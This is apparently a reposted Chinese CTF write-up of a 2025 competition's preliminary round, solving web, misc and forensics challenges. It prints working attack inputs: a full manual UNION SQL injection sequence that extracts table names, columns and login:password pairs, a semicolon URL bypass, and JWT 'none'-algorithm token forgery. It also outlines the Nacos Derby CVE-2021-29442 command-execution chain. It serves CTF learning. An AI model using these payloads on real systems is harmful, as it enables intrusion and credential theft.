文章总结: 本文复盘2025网安赛事初赛解题思路,涵盖MISC、WEB及Forensics方向。MISC通过ID爆破与客户端变量修改获取Flag;WEB利用分号参数绕过、手工SQL注入及JWTNone算法攻击;Forensics涉及NacosDerby漏洞流量分析与系统全盘检索。文章详细记录了各类漏洞利用原理与操作步骤,适用于CTF入门学习。
综合评分: 82
文章分类: CTF,WEB安全,漏洞分析
2025破阵阁・网安淬锋赛事–初赛部分wp
赛查查
2026年2月6日 10:19
北京
以下文章来源于present00
,作者present00
present00
.
小白一枚,成长阶段。
MISC
最简单签到
题目提示: 公司开发了一套”安全用户信息查询系统”,声称符合最高隐私保护标准,要不看看?
查看源码
利用bp对id进行爆破,得到隐藏信息
在id为47时,找到flag:flag{4f2504ab-1ff6-49c5-a0aa-395fe668611f}
游戏营销
题目提示: 安全牛母公司GOOANN准备对外发布游戏来引流。目前测试都通过。现在需要你来验证下。设计可靠吗?
访问,提示是需要达到100000分才给flag
随后再访问访问app_v2.js,查看游戏逻辑
核心代码逻辑如下:
function gameover() { if (gameScore > 100000) { var xhr = new XMLHttpRequest(); xhr.open("POST", "api.php", true); xhr.setRequestHeader("Content-Type", "application/json"); xhr.onreadystatechange = function () { if (xhr.readyState === 4 && xhr.status === 200) { var response = JSON.parse(xhr.responseText); alert(response.message); // 这里会弹出 Flag } }; var data = { score: gameScore }; xhr.send(JSON.stringify(data)); } // ... 其他逻辑}
随后在控制台中打断点,输入gameScore = 100001
得到flag:flag{abacebb2-5337-47ca-bc3a-9fb41af0b2dc}
原理:
这里进行了客户端验证绕过,当我们修改分数的时候,服务器只负责接收分数,不负责验证其真实性,所以我们直接进行构造即可。
web
安全牛的ERP
题目提示: 安全牛的ERP系统,但似乎隐藏着一些秘密。管理员声称系统绝对安全,你知道 flag 就藏在 flag.html 中。不过,直接访问它会被拒绝。你能找到绕过限制的路径吗?
http://target/flag.html;jsessionid=test
原理:
- 当过滤器看到我们jsessionid=test,会进行放行,满足不是直接访问/flag.html(不能直接访问,被限制)
- 当后端进行检查的时候,是会忽略掉分号以及后面的参数,直接访问flag.html,成功绕过
即仅仅基于字符串进行匹配,并未正确处理url参数和分隔符,所以这里便利用了分号参数进行注入。
得到了flag:flag{3a3f9d29-eb2a-4b1d-b448-69a798d5f139}
最简单的Web安全入门
题目提示:众所周知这个是最简单的…..
查看源码发现注入点,判断是否存在注入点,输入cat.php?id=1′ 确实存在
这里进行手工注入(kali的sqlmap出了点问题)
第一步:判断字段数
cat.php?id=1 order by 5–
得到字段数为4(因为5报错)
第二步:找回显位置
cat.php?id=-1 union select 1,2,3,4–
第三步爆数据库内容
- 查表名
cat.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()–
- 查列名
user表
cat.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=’users’–
- 获取账号密码
cat.php?id=-1 union select 1,group_concat(login,’:’,password),3,4 from users–
得到flag:flag{9c354463-5198-485e-9eaf-45a615353626}
原理:利用union注入,对用户的输入没有进行过滤,导致构造恶意SQL语句进行读取数据库的任意数据。
贼牛掰的身份鉴权,还怕在失陷?
题目提示:前面失陷太多了,这回管理员做了一个贼牛掰的身份鉴权方式,咱们瞅一眼?
这里输入admin/admin
随后提示让我们用给的账号和密码进行登录
抓包,获取JWT token
https://www.jwt.io/
修改,将加密改为none(因为key不知道),role:admin
随后访问/private,进行伪造admin的token
得到flag:flag{3dba07ba-66f9-40c6-a7b8-ff7382b9e0f0}
原理:这里利用了JWT None算法攻击,这里不验证签名,导致攻击者可以伪造管理员身份(任意身份),拿到flag。
Forensics
诡异的命令执行
题目提示:某个粗心的网站管理员忘记打补丁,结果攻击者利用 CVE 漏洞成功渗透了服务器。他们像幽灵一样在系统中穿梭,最终执行了系统命令,偷走了珍贵的 FLAG。
输入http,进行过滤,发现大量 /nacos/v1/cs/ops/derby( Nacos Derby 运维接口) 请求且进行sql注入。
随后在第250流中,找到flag:flag{7e769b29-14c8-45d6-96fc-1b61105f46ab}
原理:
这是来自一个CVE:Nacos Derby SQL注入漏洞 (CVE-2021-29442),攻击者通过 Derby 运维接口执行恶意的SQL:
- 将恶意 JAR 放入服务器
- 随后创建 Java 存储过程
- 通过执行系统命令获取 flag
webshell被删除了
题目提示:小明的系统里有一个tomcat,突然有一天他收到通知说他的系统被攻击了,你能帮他找到攻击者残留的痕迹吗?
将题目给的账户和密码登录后,输入:grep -r “flag{” /
进行全局查找,得到flag:flag{5cc93899-d0ec-4d2e-95a6-fa22d949ee07}
比赛的时候就做了这么多
,剩下的可以看官方wp,自行复盘。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:赛查查 《2025破阵阁・网安淬锋赛事–初赛部分wp》